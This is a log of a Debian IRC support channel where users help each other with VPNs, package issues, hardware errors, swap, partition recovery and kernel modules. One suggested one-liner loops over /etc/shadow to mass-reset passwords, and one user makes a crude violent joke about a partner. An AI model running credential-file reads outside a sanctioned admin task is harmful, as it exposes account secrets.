| 00:01.29 | petemc | !b-e romel |
| 00:01.29 | dpkg | romel: Sounds like you need to aptitude install build-essential. |
| 00:01.59 | romel | ;) oh, thanks a lot |
| 00:02.09 | petemc | np |
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| 00:16.53 | tharkun | What is the difference of setting up a full blown vpn and setting up an ssh tunnel? |
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| 00:30.20 | doublehp | tharkun: differnt products, different uses |
| 00:30.51 | doublehp | tharkun: a VPN will offer full LAN connectivity (only software services with tun, and down to HW services like DHCP with tap) |
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| 00:31.12 | doublehp | tharkun: while ssh will only offer access to one IP, or one port, the one you listen, or forward |
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| 00:31.31 | doublehp | tharkun: ssh is easier to set up, faster to configure, and, offers less |
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| 00:32.36 | doublehp | tharkun: ssh gives access to only one service; you ask one, you get one. Easy, quick to set. a full VPN is more complex, because you need more params to make it "secure" and efficient. Usually, people use ssh to encap a VPN |
| 00:33.10 | doublehp | anyway, in both cases, you have an SSL shell around, and the SSL tunnel is used to communicate any data |
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| 00:33.40 | deepy | ssh lets you do dynamic mode |
| 00:33.44 | deepy | which is essentially a socks proxy |
| 00:36.00 | tharkun | doublehp: thx. for the insight |
| 00:36.46 | tharkun | deepy: i'll research the dynamic mode thx |
| 00:37.05 | doublehp | tharkun: people often use ssh tunnel to encap ssl, for various reasons |
| 00:37.23 | doublehp | tharkun: since vpn is heavy, ssh is quicker to adapt to particular situation |
| 00:37.58 | doublehp | tharkun: ie: your VPN works fine at home, but at work, the admin is blocking your beloved port ... ssh will be quick to adapt to this situation; then, you put your VPN inside |
| 00:38.04 | Bushmills | vpn is usually set up permanently, as part of network infrastructure, where against ssh tunnels tend to be more for ad-hoc use |
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| 00:40.14 | alpha^ | tharkun, The key take-away is that a VPN extends the remote network to your local device |
| 00:40.33 | alpha^ | tharkun, Or vice-versa if you prefer |
| 00:40.47 | tharkun | doublehp: ok, i think i get the idea although i lack a lot of information on this isue. I'll be reading about it this whole night. Since talking to my ISP has proven to be loss of time |
| 00:41.10 | h3sp4wn | I just pull up openvpn if I need it as and when (Want to switch to use mobile ipv6 though instead with ipsec) |
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| 00:41.23 | doublehp | tharkun: ssh to help for one service; VPN ( Bushmills said it clearly) to "interconnect" computers together |
| 00:41.24 | pfred1 | all ISPs want you to do is get email and surf the web |
| 00:41.25 | tharkun | alpha^: i figured as much about that. I only need to figure out what machines will endup working as gateways |
| 00:41.37 | pfred1 | and that is usually how their TOS contracts are worded too |
| 00:41.49 | doublehp | h3sp4wn: ouch ... mobile ipv6 ? |
| 00:42.18 | tharkun | Bushmills: i just read your line. It makes things clearer. ;P |
| 00:42.23 | h3sp4wn | doublehp: Keep the same ip no matter where you are connected its pretty intereresting stuff |
| 00:42.26 | doublehp | h3sp4wn: what do you call mobaile v6 ? |
| 00:42.52 | h3sp4wn | doublehp: http://ipv6.com/articles/mobile/Mobile-IPv6.htm |
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| 00:42.56 | doublehp | h3sp4wn: do you need a VPN each time ? who provides you this ? |
| 00:43.53 | doublehp | h3sp4wn: do you have advanced knowledge in this ? my question is: my ISP afforded me a /60 . Can i use some IPs for mobility, or do my ISP have to support mobility (what is not the case for me) to have a mobile IP ? |
| 00:45.33 | jordanm | an /60? |
| 00:45.43 | tharkun | ipv6 ;P |
| 00:46.17 | jordanm | yes, 60 bytes was far too many.. |
| 00:46.34 | dvs | 60 bits |
| 00:46.43 | jordanm | err right :) |
| 00:47.11 | tharkun | hands jordanm a cup of coffee and some lens wipers |
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| 00:49.21 | doublehp | jordanm: yes, /60 . My modem adverts a /64, but in fact, bits 51 to 59 are my fixed IP, so, each ADSL customer has in fact a /60 ... so we have 4 bits kept for future usage, for each customer; this gives me hope :) |
| 00:49.57 | doublehp | jordanm: the default range is the home network; we may hope that an other /64 in the same /60 may be used for other services :) |
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| 00:50.07 | alystair | Hello my fine debian friends :D |
| 00:50.22 | alystair | I come looking for recommendations for alternatives to Munin |
| 00:50.24 | h3sp4wn | doublehp: I am still working out how to do it (My server is getting native ipv6 soon) |
| 00:50.49 | doublehp | h3sp4wn: does your ISP have to support some features ? or can any /64 be used for mobility? |
| 00:51.12 | Bushmills | alystair: cacti and collectd are usually mentioned in that context |
| 00:51.12 | Nubulis | Hello, I just installed kde on ubuntu 10.10 using sudo command seemed to go ok but no kde option at login screen. Any suggestions? |
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| 00:53.01 | Bushmills | alystair: and wikipedia has an overview: http://en.wikipedia.org/wiki/Comparison_of_network_monitoring_systems |
| 00:53.16 | tharkun | Nubulis: take a trip to #ubuntu . They know the tiny bits that make the difference for you |
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| 00:55.46 | h3sp4wn | doublehp: I don't know about stateless but for stateful you need the isp to do at least one route |
| 00:55.57 | tharkun | Bushmills, doublehp: thx for your insights. I think i can manage from this point onwards |
| 00:56.52 | WormFood | where are the gcc man pages? |
| 00:57.04 | WormFood | meaning, what package are they in? |
| 00:57.37 | tharkun | WormFood: apt-cache search gcc|grep doc |
| 00:57.52 | WormFood | tharkun, don't tell me commands...I've already done that shit...what is the package |
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| 00:58.14 | tharkun | WormFood: cool down |
| 00:58.23 | WormFood | if it was that god damn easy, I wouldn't be asking....all I get are "unmet dependencies" when trying to install any docs for gcc |
| 00:59.08 | amphi | WormFood: gcc-doc in contrib |
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| 00:59.47 | WormFood | amphi, I have contrib, and it will not install |
| 00:59.57 | WormFood | gcc-doc: Depends: gcc-4.4-doc (>= 4.4.4.nf1-1) which is a virtual package. |
| 01:00.02 | hugetroll | guys, how do I add a user with a preconfigured password? |
| 01:00.19 | doublehp | h3sp4wn: can you expand ? i don't know about stateless/full, not in details, not what it deeply means |
| 01:00.33 | doublehp | WormFood: gcc-doc or libc-doc IIRC |
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| 01:01.09 | amphi | WormFood: perhaps a specific version? dunno, I'm on testing here, and it installed without problem |
| 01:01.14 | WormFood | "or"? That does not seem to be the problem...it isn't a conflict, it is a missing package...and it appears to be missing on both stable and testing |
| 01:01.21 | WormFood | then why does it not work on either of my machines? |
| 01:01.34 | tharkun | WormFood: install gcc-4.4-doc |
| 01:02.24 | WormFood | the package does not exist....I've already tried that...I get "No candidate version found for gcc-4.4-doc" |
| 01:02.25 | amphi | aptitude reinstall gcc-doc just worked fine here |
| 01:03.01 | WormFood | then why does it not work for me...on 2 different machines? |
| 01:03.38 | WormFood | on stable, I get " gcc-doc: Depends: gcc-4.3-doc (>= 4.3.0.nf1-1) which is a virtual package." |
| 01:04.14 | amphi | on testing, it depends on gcc-4.4-doc which installed fine |
| 01:04.40 | WormFood | ok, fine amphi, the give me root on your box, so I can compile this program :P |
| 01:04.49 | amphi | WormFood: ah, gcc-4.4-doc is in non-free |
| 01:04.50 | WormFood | WHY DOES IT NOT INSTALL FOR ME? |
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| 01:04.58 | WormFood | WHAT THE FUCK?!?! |
| 01:05.03 | WormFood | the docs are in non-free? |
| 01:05.05 | amphi | because you're shouting? ;) |
| 01:05.32 | amphi | yes, something to do with the gnu docs licence, I forget the gory details |
| 01:05.44 | streuner_ | dpkg, gcc-doc |
| 01:05.44 | dpkg | The man pages for <gcc> are in the package gcc-doc which is in non-free. It's in non-free because it is released under the GFDL with invariant sections so the package does not meet the DFSG. Ask me about <non-free>, <gfdl> and <dfsg>. If you are looking for man pages for printf, strchr etc then get manpages-dev. |
| 01:05.51 | amphi | I'd forgotten about that |
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| 01:06.05 | amphi | there was something of a row about it some time back ISTR |
| 01:06.12 | streuner_ | amphi: dont ask me, what i forgot :-P |
| 01:06.32 | amphi | streuner_: why, what did you forget? |
| 01:07.10 | streuner_ | amphi: some important things, but basically something which are important :-P |
| 01:07.37 | WormFood | you know, if they're going to make policy decisions like this, that make our lives harder at least they could do is perhaps mention something when the fuckin' command fails in aptitude/apt-get |
| 01:07.44 | amphi | streuner_: heh |
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| 01:08.00 | streuner_ | amphi: bascially its called in german "verdraengen" :-P |
| 01:08.49 | hugetroll | guys, how do I mass-set a password? |
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| 01:09.08 | WormFood | you know, even something that just said "you have unmet dependencies, perhaps you need a another repository"....nothing fancy, just a reminder of THESE GOD DAMN STUPID POLICIES THAT MAKE OUR LIVES HARDER. |
| 01:09.18 | tharkun | hugetroll: you do a script and generate /etc/shadow accordingly |
| 01:09.18 | streuner_ | amphi: displace |
| 01:09.43 | Bushmills | hugetroll: check out chpasswd |
| 01:09.46 | stew | WormFood: if you think that debia trying to be 100% free software is a stupid policy, you've chosen the wrong distro |
| 01:09.48 | amphi | is installing dictionaries |
| 01:09.53 | stew | ^debia^debian |
| 01:11.15 | WormFood | stew, I'm quite aware of why it is done....but it is not documented well enough in places where it seems like this policy shouldn't fuck us....like adding docs for gcc....the obvious place for that would be in the main repos, but since it isn't, it would be nice to have a god damn note, or something that lets us know that what we expect to be there, isn't there |
| 01:11.51 | stew | WormFood: its documented in /usr/share/doc/gcc/README.Debian |
| 01:12.08 | Bushmills | IFS=:; while read user _; do echo "$user"; done < /etc/shadow # replace 'echo $user' against appropriate chpasswd command |
| 01:12.09 | stew | WormFood: ubuntu is very similar to debian, but doesn't try to be 100% free software like debian, perhaps it would suit you better |
| 01:12.26 | WormFood | stew, if I liked ubuntu better, I'd be running it |
| 01:12.27 | tharkun | seconds that motion |
| 01:12.35 | hugetroll | how do I generate a password for useradd -p? |
| 01:12.46 | frostschutz | pwgen? |
| 01:13.05 | hugetroll | i mean encrypt a string |
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| 01:13.32 | amphi | streuner_: "to extrude; to oust; to rule out; to supplant" quoth dict |
| 01:13.49 | amphi | but only if you use 'ä' rather than 'ae' |
| 01:13.58 | frostschutz | if you encrypt the string what do you do with it? |
| 01:14.14 | stew | hugetroll: mkpasswd (read the manpage, you probably don't want the default des method, but perhaps md5 or one of the sha methods) |
| 01:14.59 | WormFood | amphi and streuner_: thanks for your help with finding the hidden gcc docs |
| 01:15.09 | tharkun | WormFood: if you have read apt-cache show gcc-doc you would have found "This documentation is available from non-free part of Debian archive" |
| 01:15.28 | amphi | WormFood: you're welcome - I hope your blood pressure subsides to safe levels soon ;) |
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| 01:16.08 | tharkun | stew: there is an overbloated program that does exactly what hugetroll needs. I just can't recall the name |
| 01:16.24 | stew | mkpasswd? |
| 01:16.57 | tharkun | no, it is indeed another one |
| 01:17.10 | WormFood | amphi, my blood pressure was up since the moment I got out of bed....the thing that wakes me up, is the sound of my girlfriend removing the power to my laptop (it makes a beep when it is disconnected), after telling her "do not touch my computers!" |
| 01:17.23 | amphi | heheh |
| 01:17.59 | tharkun | tries to picture WormFood when he get married and has kids |
| 01:18.04 | amphi | she does that just to get you out of the bed? |
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| 01:18.06 | WormFood | once my laptop is on the charger, I try not to remove the charger unless I'm going to use it on battery, and then I try to run down the battery |
| 01:18.19 | WormFood | no...she did that because she was being stupid |
| 01:18.50 | amphi | WormFood: can you not set the start and sto[p charge thresholds? that prevents excessive cycles from short periods of battery use |
| 01:19.03 | WormFood | she wanted to sit where my laptop was, but instead of just moving the laptop out of her way, with the power still attached, for some reason she disconnected the power...then sat there for 5 minutes, before deciding it was too cold there |
| 01:19.11 | tharkun | WormFood: take the battery off to work on your laptop when you are not going to be on the move. It saves battery cycles and it will make your battery live a longer life |
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| 01:19.31 | WormFood | amphi, yes. I have it set in windows, but have no idea if I can even set that in Linux (I'm guessing I probably can, but don't know where) |
| 01:20.03 | WormFood | yeah tharkun, that might work, if I had a girlfriend that could understand simple english ;) |
| 01:20.07 | amphi | WormFood: depends on the machine, I guess - |
| 01:20.29 | amphi | WormFood: on my stinkpad it's under /sys/devices/platform/smapi/BAT0/ |
| 01:20.49 | tharkun | WormFood: you could teach her some English with some piano wires and a stapler ;P |
| 01:20.53 | amphi | have a look under /sys |
| 01:20.54 | WormFood | amphi, you can set it there? what model of stinkpad? |
| 01:21.16 | amphi | WormFood: X61s - but this is not a very new feature, I don't think |
| 01:21.37 | amphi | WormFood: what have you there? |
| 01:21.50 | WormFood | you're running similar hardware to me...I have a T60p widescreen :D |
| 01:22.10 | amphi | 'shortscreen' ;) |
| 01:22.23 | WormFood | or "narrowscreen" |
| 01:22.28 | amphi | mine is the last model with a 4:3 panel *sniff* |
| 01:22.42 | WormFood | I can get the X60s here in the market |
| 01:23.11 | amphi | not all X60[s] have c2d if I recall correctly |
| 01:23.31 | amphi | WormFood: do you have /sys/devices/platform/smapi/ there? |
| 01:23.33 | WormFood | I searched high and low to find this one...it is very nice....T7400 cpu, 2.16 ghz, 4meg cache, 3 gig of ram, 500 gig hard drive, 1680x1050 resolution |
| 01:23.58 | WormFood | no, I see no smapi |
| 01:24.23 | amphi | tp_smapi module is loaded? |
| 01:24.28 | WormFood | all I have is --> dock.0dock.1dock.2hdaps i8042 pcspkr power regulatory.0 serial8250 thinkpad_acpi thinkpad_hwmon uevent vesafb.0 |
| 01:24.28 | amphi | suspects not |
| 01:24.33 | WormFood | I'm sure it is not |
| 01:25.34 | amphi | there should be a tpsmapi source package that m-a can build for you, if I recall correctly - I haven't done it for ages |
| 01:25.43 | WormFood | is this module part of a standard install? |
| 01:26.12 | WormFood | some of the thinkpad packages in debian, caused strange problems for me. |
| 01:27.18 | amphi | works fine here |
| 01:27.38 | amphi | it's the only way you'll get at that battery stuff as far as I know |
| 01:28.00 | WormFood | well, I can read some stuff from the battery, but I suspect you're right |
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| 01:28.06 | WormFood | I'm installing it now...see what happens |
| 01:28.27 | OpenTokix | Choose no life choose sysadmin... |
| 01:28.34 | doublehp | how do i make work "tap" on my Alps touchpad ? i made it working 1h ago, and after reboot, stopped :( just ran dpkg-reconfigure x11-common if it matters |
| 01:28.37 | OpenTokix | 2:28 am, waiting for co-lo router trouble to clear |
| 01:28.44 | amphi | for what it's worth 30 & 70-80 seem to be the recommended thresholds |
| 01:28.46 | WormFood | I installed one of the packages for the thinkpad keys, and after installing it, when I try to adjust the brightness, or any other special keys, it sends the key strokes to the program that has focus....really odd |
| 01:28.50 | simonrvn | got a problem here: http://paste.debian.net/102521 MCE error. what's going on? |
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| 01:29.41 | simonrvn | is it memory or the cpu? |
| 01:30.04 | amphi | WormFood: on testing brightness keys work fine here, both in X and console |
| 01:30.24 | simonrvn | i don't know how long this box will be up, so please reply asap if you can. |
| 01:30.34 | amphi | WormFood: you have testing or stable on the T60? |
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| 01:30.44 | WormFood | they work for me too...but in addition to adjusting the brightness, they also send some keystrokes to the program. It is testing |
| 01:31.01 | WormFood | but after I installed that package, everything went back to normal (working as expected) |
| 01:32.22 | amphi | installed or uninstalled? |
| 01:34.27 | WormFood | when I installed it, it gave me the problems I described...when I uninstalled it, everything returned to normal (working as expected) |
| 01:34.30 | tharkun | simonrvn: Really not sure, that log points to cpu but you will have to uninstall the memory to do some tests anyway. If you have two sockets with memory on them unplug one and check |
| 01:34.43 | WormFood | I don't remember which package it was off-hand...but it was one that handled the keys |
| 01:34.55 | simonrvn | spent 2 days doing that. even got some new sticks. |
| 01:34.58 | amphi | WormFood: uhuh |
| 01:35.37 | tharkun | simonrvn: if the problem persist consult your manufacturer |
| 01:35.43 | simonrvn | says bank 2, so i'm thinking it might bank 2 (there's 3) that may be fried. what i can do is take it down and put the 2 dimms in bank 1 and 3 and see. |
| 01:36.02 | simonrvn | it's a hand-me-down sorta box ;) |
| 01:36.06 | tharkun | or just leave one on bank 1 |
| 01:37.48 | simonrvn | (i'm really hoping it's not the cpu, as that's a little more difficult to replace at this time...) |
| 01:38.19 | WormFood | it is most likely not the cpu |
| 01:38.27 | simonrvn | first time it's been up in 2 days too, it wouldn't even boot before. |
| 01:39.14 | WormFood | I love that message "HARDWARE ERROR. This is *NOT* a software problem!"...they seem 1000% sure, it isn't a software bug ;) |
| 01:39.18 | tharkun | simonrvn: Did you check with your manufacturer the blinking code of the capslock led? |
| 01:39.43 | simonrvn | didn't get any such capslock blinkage |
| 01:39.58 | WormFood | simonrvn, can you run on a single bank of ram? |
| 01:40.09 | WormFood | some motherboard will let you do that...some won't |
| 01:40.18 | simonrvn | er, on 256 MB RAM? that's gonna hurt. |
| 01:40.37 | WormFood | just for testing, to try to isolate down if the problem is ram or not |
| 01:40.38 | tharkun | simonrvn: it can be done. Don't be such a winnie |
| 01:40.52 | dvs | wienie |
| 01:41.03 | WormFood | and quit your bitching...256 meg of ram...heh, my first computer had 64 K of ram :P |
| 01:41.07 | tharkun | dvs: thx for the spelling correction |
| 01:41.09 | dvs | or something like that |
| 01:41.10 | simonrvn | weinie |
| 01:41.20 | dvs | am not! |
| 01:41.57 | dvs | WormFood: mine had 3.5K |
| 01:42.05 | WormFood | I remember when my computer had 64k of ram, 64 meg of ram...and in a few years, I'll have 64 gig of ram :D |
| 01:42.06 | simonrvn | WormFood: you probably have a box with 1 GB RAM or more, nowadays ;p. |
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| 01:42.41 | WormFood | my desktop has 8 gig of ram, and my laptop has 4 gig of ram (3 usable because of the chipset, even tho I run a 64-bit os) |
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| 01:43.09 | simonrvn | yeh, see? i have a right to bitch, even a little ;). |
| 01:43.18 | tharkun | my phone has way more computing power than my first computer |
| 01:43.38 | WormFood | dvs, 3.5 K? that is an odd size...what kinda machine? |
| 01:43.48 | dvs | Vic 20 |
| 01:43.55 | WormFood | tharkun, my watch has more computing power than my first computer |
| 01:44.05 | WormFood | I'm pretty sure the vic 20 came with 16k of ram |
| 01:44.12 | tharkun | uses a mechanical watch |
| 01:44.21 | dvs | WormFood: no way |
| 01:44.28 | tharkun | WormFood: IIRC it had 23K |
| 01:44.29 | WormFood | tharkun, it STILL has more power than my first computer :P |
| 01:44.33 | tharkun | s/23/32 |
| 01:44.45 | WormFood | well, are we talking about RAM or RAM and ROM? |
| 01:45.07 | WormFood | commodeore used to advertise the C64 as having 80 k of memory, because they counted ROM too :P |
| 01:49.14 | simonrvn | ah found out the possible issue: OCed CPU, with bad cooling will sometimes trigger an MCE fault. |
| 01:49.49 | simonrvn | i'm not overclocking it (AFAIK), but it does seem to be overheating.... |
| 01:50.07 | tharkun | simonrvn: clean the heat disipator with compressed air |
| 01:50.10 | simonrvn | CPU Temp: +55.5°C |
| 01:50.19 | simonrvn | according to the sensor |
| 01:50.22 | tharkun | not high enough but it might work |
| 01:50.36 | simonrvn | the grilled thingy? did that |
| 01:50.37 | tharkun | check the trippoint with acpi -V |
| 01:51.02 | simonrvn | Thermal 0: trip point 0 switches to mode critical at temperature 79.0 degrees C |
| 01:51.03 | simonrvn | Thermal 0: trip point 1 switches to mode passive at temperature 43.0 degrees C |
| 01:51.16 | simonrvn | *ding* |
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| 01:52.33 | simonrvn | ok, put a fan on it, dropped a few degs |
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| 01:55.49 | iluminator101 | Hey Guy i got a this error http://pastebin.com/z5fETnqz thanks in advance |
| 01:55.55 | iluminator101 | Hey Guys i got a this error http://pastebin.com/z5fETnqz thanks in advance |
| 01:58.09 | simonrvn | thanks for the help people. much appreciated. sending good thoughts your ways. |
| 01:58.39 | dvs | np |
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| 02:02.05 | iluminator101 | any suggestions? |
| 02:02.22 | doublehp | §j #hardware |
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| 02:03.12 | jxself | People might try to eat you. :) |
| 02:03.21 | jxself | Wrong channel. |
| 02:03.34 | iluminator101 | LOL |
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| 02:08.15 | iluminator101 | Hey Guys i got a this error http://pastebin.com/KYRiUxtR thanks in advance |
| 02:09.29 | RunTimeWorld | are you serious? |
| 02:09.33 | RunTimeWorld | heh |
| 02:10.01 | RunTimeWorld | can i give you some specs in exchange? |
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| 02:17.04 | dvs | iluminator101: just a guess: aptitude install linux-headers-$(uname -r) |
| 02:17.19 | ozysimpson | sorry if this is not the right place to ask this question I port forward www request for my domain www.domain.com from my router to my firewall machine nic (eth1 facing outside), I want the www traffic then to forward to my internal machine, could some one please tell me how could i go about doing this? I am using fwbuilder as my iptables gui tool |
| 02:18.17 | doublehp | by which stupid way could debian ever store an email in the "disk" ? ? ? my bios is saying me "disk is not bootable", and my live CD tells me sda contains an email !!!! |
| 02:18.30 | iluminator101 | dvs i have that already |
| 02:18.44 | doublehp | 3rd time this week Debian suicides ! |
| 02:18.55 | doublehp | and prevents me booting other os on the same box |
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| 02:19.21 | doublehp | which tools can do partition recovery ? scan for magick sectors, and tell me where sda2 and sda3 start |
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| 02:24.32 | G0di | ke lio |
| 02:24.33 | G0di | :S |
| 02:25.23 | amphi | doublehp: testdisk perhaps |
| 02:25.42 | amphi | "TestDisk checks and recovers lost partitions" |
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| 02:32.22 | doublehp | and for which stupid reason would debian store emails on sda ? |
| 02:33.25 | kingsley | Does the kernel really start swapping memory out to disk before RAM is full? I seem to recall having read that linux starts swapping out after only about 40-60% of RAM has been used. |
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| 02:33.42 | doublehp | kingsley: yes |
| 02:33.55 | doublehp | kingsley: old pages that were not accessed at all are pushed |
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| 02:34.15 | doublehp | kingsley: so that if you ever need very much ram in hurry, you don't have to wait for copy |
| 02:34.22 | doublehp | kingsley: Linux anticpates your RAM needs |
| 02:35.48 | Bushmills | doublehp: gpart |
| 02:36.09 | kingsley | doublehp: That's interesting. Do happen to know if it's possible to known how much extra RAM should be installed to avoid disk I/O? |
| 02:36.28 | doublehp | kingsley: ask #linux |
| 02:36.40 | doublehp | kingsley: no, as long as a page is old, it will be copied |
| 02:36.53 | kingsley | doublehp: For example, if one anticipated having 16 GB of data, and linux starts swapping at 50%, perhaps it would make sense to install 32 GB. |
| 02:37.15 | Bushmills | kingsley: read about /proc/sys/vm/swappiness |
| 02:37.42 | doublehp | kingsley: you can not avoid I/O ; Linux does it in spare time; if there is free time, it does it; doing it by advance does not impact at all; i mean, it does not slow anything; it saves you time for the day you need ram. If you dislike this, don't set swap, or write a different SWAP policy engine. |
| 02:38.01 | doublehp | kingsley: no, it would not |
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| 02:38.33 | nevyn | doublehp: it's part of capacity planning. |
| 02:38.35 | doublehp | kingsley: writing the page does not loose any time, ressource, or I/O . adding more ram would not avoid copy |
| 02:39.03 | nevyn | has found application that need a certain ammount of disk cache to be "happy" |
| 02:39.28 | nevyn | with less they io thrash but don't swap |
| 02:40.14 | G0di | Going Down |
| 02:40.40 | nevyn | so the app has all the ram it asked for but to perform well the app needs some ammount of disk cache that's completely undocumented WHEE |
| 02:41.42 | kingsley | doublehp: Is my understanding correct that pages are swapped when there's either a.) memory pressure, or b.) old pages and the system's load is low? |
| 02:42.10 | doublehp | kingsley: i did not dig enough to confirm; i gave you the roads to follow. |
| 02:42.46 | doublehp | i am not sure if there are alternative swap policies, but it's easy to write a new one |
| 02:42.59 | nevyn | ummm |
| 02:43.47 | nevyn | this is deep kernel Voodoo.. there is no capability for pluggable VM managers or schedulers and they're just about the most critical parts of the linux kernel |
| 02:43.59 | doublehp | kingsley: Google /proc/sys/vm/swappiness => http://unixfoo.blogspot.com/2007/11/linux-performance-tuning.html |
| 02:44.22 | kingsley | Bushmills: I followed your advice and read about /proc/sys/vm/swappiness in an online article titled "2.6 swapping behavior". |
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| 02:46.58 | kingsley | It seems to me that the 2.6 kernel's swapping decisions are reasonably sophisticated, and I need not necessarily plan on extra RAM capacity. |
| 02:49.34 | Bushmills | you have as much RAM as you have. if you have more than that, fine. kernel will do with what it has. |
| 02:50.33 | Bushmills | the more, the faster. but there's a point of no/hardly any return |
| 02:50.58 | kingsley | Bushmills: In my case, I'm planning how much capacity will be needed to analyze 16 GB of data. |
| 02:51.44 | Bushmills | depends on how you access data. for sequentially parsing it, memory should not be of huge relevance |
| 02:52.21 | kingsley | Bushmills: I'm told that the analysis language (R) requires 100-200% extra memory for overhead, and of course the computational complexity of the various analysis routines will have their own additional memory requirements. |
| 02:53.23 | kingsley | Bushmills: I appreciate you looking for ways to save money, like by sequentially accessing parsing data and buying less RAM. |
| 02:53.24 | Bushmills | in that case, your memory requirements are determined by R |
| 02:54.05 | kingsley | Bushmills: However, I expect the access will be more random than sequential. |
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| 02:54.56 | kingsley | Having said that, I am glad to see that linux's swapping evidently doesn't require extra RAM. |
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| 02:55.30 | kingsley | needs to go soon. |
| 02:59.44 | doublehp | which liveCD has gparted ? |
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| 03:05.41 | kurt_h | doublehp: i think it's part of the standard live cd. you just choose it as an option at boot time |
| 03:06.38 | doublehp | testdisk from Knoppix 2005 did it |
| 03:06.51 | doublehp | now |
| 03:07.06 | doublehp | how to probe why Debian over-wrote my MBR+table ? |
| 03:07.11 | doublehp | i found an email |
| 03:07.24 | doublehp | i recognise that email content was generated by one of my scriptsz |
| 03:07.54 | doublehp | but the email "header" was generated by some MTA. so it's not my script's fault, but MTA's |
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| 03:31.01 | nutron | for reasons I'd rather not discuss, I have to install some rpm support on a few servers. The program I'm trying to install depends on librpmdb (it's a binary, no source), well that was available in lenny, not squeeze. Does anyone know if any of the other equivalent libs can be linked against to make this simple thing "just work"? |
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| 03:36.33 | multi_io | I guess suspend-to-disk doesnt work with encrypted filesystems, does it? |
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| 03:37.24 | nevyn | hrm that would seem like something that might umm notwork. |
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| 03:39.17 | doublehp | multi_io: it does |
| 03:39.36 | multi_io | I'd just want to encrypt my home (if that's easier), and have to re-enter the passphrase whenever the laptop wakes up out of suspend-to-disk |
| 03:40.08 | doublehp | multi_io: it's just stupid with normal system; it would make sens if you used encrypted swap; but i don't know if linux could resume ; it could suyspend, but not sure it could resume |
| 03:40.20 | doublehp | multi_io: i would say that it should be possible ... |
| 03:41.17 | doublehp | multi_io: suspend does not interrupt encruption; they are independant; to do what you want, you need to alter the suspend script, and unount /home ; it is likely to break all user apps |
| 03:41.49 | doublehp | or even refuse to umount |
| 03:41.50 | multi_io | yeah that's what I figure, processes have files open in /home |
| 03:42.13 | doublehp | multi_io: on the other hand, you could run lockvt |
| 03:43.23 | doublehp | multi_io: there is a vt locker; run it, with the option "foprbide to change vt" . on suspend, you chvt to vt1, and start vtlock ; then, on resume, the guy can do nbothing but type the right password. |
| 03:43.38 | doublehp | or try to attack on network if any |
| 03:44.31 | multi_io | hm |
| 03:45.41 | doublehp | multi_io: it's not what you asked for, but i sware you can not use actual vt without typig passwd, and, can not either change vt ... so, you are just stuck :) |
| 03:46.26 | doublehp | sorry, i was telling about suspend to ram |
| 03:47.17 | doublehp | suspend to disk with encrypted swap should be ... oh NO, it's not possible to recover from encrypted swap. for the same reason you can not recover from RAIDed swap !!! |
| 03:47.38 | doublehp | you can only recover from non-enc, non-raid, non-lvm swap ... |
| 03:48.15 | multi_io | if I just encrypt /home, not anything else...could that work? |
| 03:48.16 | doublehp | please, try suspend to ram. |
| 03:48.25 | doublehp | you'd have to umount /home |
| 03:48.34 | multi_io | (I'm aware this iisn't high-security) |
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| 03:49.02 | doublehp | if you "can't" umount, i recommend vtlock - really should do |
| 03:49.13 | doublehp | with vtlock, you don't need to umount |
| 03:49.54 | multi_io | are you talking about suspend to ram? |
| 03:50.37 | dashs | Whither debian-multimedia.org? |
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| 03:52.00 | doublehp | multi_io: vtlock should also do for suspend to disk |
| 03:52.14 | doublehp | multi_io: suspend to ram just ... allow to use encrypted swap |
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| 03:52.40 | doublehp | multi_io: as long as the vt is locked, you can suspend to disk keeping /mounted |
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| 03:53.42 | multi_io | doublehp: I see (I think) |
| 03:54.27 | multi_io | so generally, disk encryption would be "transparent" to suspend to disk |
| 03:54.45 | multi_io | (if only /home is encrypted) |
| 03:55.26 | doublehp | how do i probe bluetooth hardware (locally ) ? |
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| 04:02.06 | amphi | doublehp: hcitool ? |
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| 04:05.47 | Mandor | I'm trying to set up x11vnc + xvfb on headless servers running Debian 5.0.x. The servers don't have most X11 packages. The command-line I'm using works fine on a desktop system, but not on the headless server. What's the minimum set of packages I need to apt-get to make this work? |
| 04:06.04 | Mandor | So far, I've tried x11vnc xvfb twm kdebase-bin xfonts-100dpi |
| 04:06.45 | Mandor | I'm tempted to do xserver-xorg-core, but that drags in tons of packages that should only be needed with a local X11 server. |
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| 04:09.13 | doublehp | amphi: y |
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| 04:18.33 | porterfedora | Does te first dvd haevry thimgi need for a asic install? |
| 04:19.52 | dvs | yes |
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| 04:37.40 | iluminator101 | Hey guys i am compile this program i almost had it gives me this error i cant figure out http://pastebin.com/PAZtuav0 |
| 04:42.11 | iluminator101 | <PROTECTED> |
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| 05:26.58 | _genuser_ | hello folks. |
| 05:27.11 | guk | Hello |
| 05:27.15 | _genuser_ | maria sharapova for google? |
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| 05:38.55 | Vasistha | I'd like to use modprobe to reload a module with different options. What's the syntax? |
| 05:39.31 | Mandor | Vasistha: first you need to remove the module: modprobe -r $module |
| 05:39.38 | Vasistha | Mandor: done |
| 05:39.43 | Mandor | Vasistha: then modprobe $module option=whatever |
| 05:39.59 | Vasistha | Mandor: comma-separated if more than one? |
| 05:40.01 | Mandor | Vasistha: or put the option in /etc/modprobe.d. Check the files there for examples. |
| 05:40.10 | Mandor | Vasistha: no, space separated. |
| 05:40.32 | Vasistha | Mandor: yeah, I did put the options in /etc/modprobe.d but ... well, it doesn't seem to be working as hoped :P |
| 05:40.46 | Mandor | Vasistha: well, that's a different problem. :) |
| 05:41.01 | Mandor | Vasistha: I'd recommend experimenting with a harmless module, like bonding. |
| 05:41.19 | Vasistha | Mandor: it's thinkpad_acpi, so I'm probably not going to hurt ... anything ... uh ... wait. |
| 05:41.26 | Vasistha | I guess I'll reboot when I'm done |
| 05:42.48 | Mandor | Vasistha: I'm thinking more in terms of making sure you have the right syntax. |
| 05:43.17 | Vasistha | modprobe thinkpad_acpi option=hotkey=enable,0xffffff experimental=1 |
| 05:43.40 | Vasistha | well, as luck would have it, it gave me an error due to "unknown parameter" |
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| 05:44.00 | Mandor | Vasistha: modinfo $module to see what parameters are supported. |
| 05:44.40 | Vasistha | Mandor: maybe it wants colon separators? hmm |
| 05:44.53 | Mandor | Vasistha: no, it doesn't. |
| 05:45.01 | Mandor | Vasistha: what syntax are you using? |
| 05:45.23 | Vasistha | Mandor: here's a simpler example: $ modprobe thinkpad_acpi option=experimental=1 |
| 05:45.38 | Vasistha | from modinfo: parm: experimental:Enables experimental features when non-zero (int) |
| 05:46.02 | Mandor | Vasistha: no need for option=. |
| 05:46.12 | Mandor | Try modprobe thinkpad_acpi experimental=1 |
| 05:46.38 | Vasistha | Mandor: ah, then I'm back to the original problem of "it doesn't seem to do what I expected" |
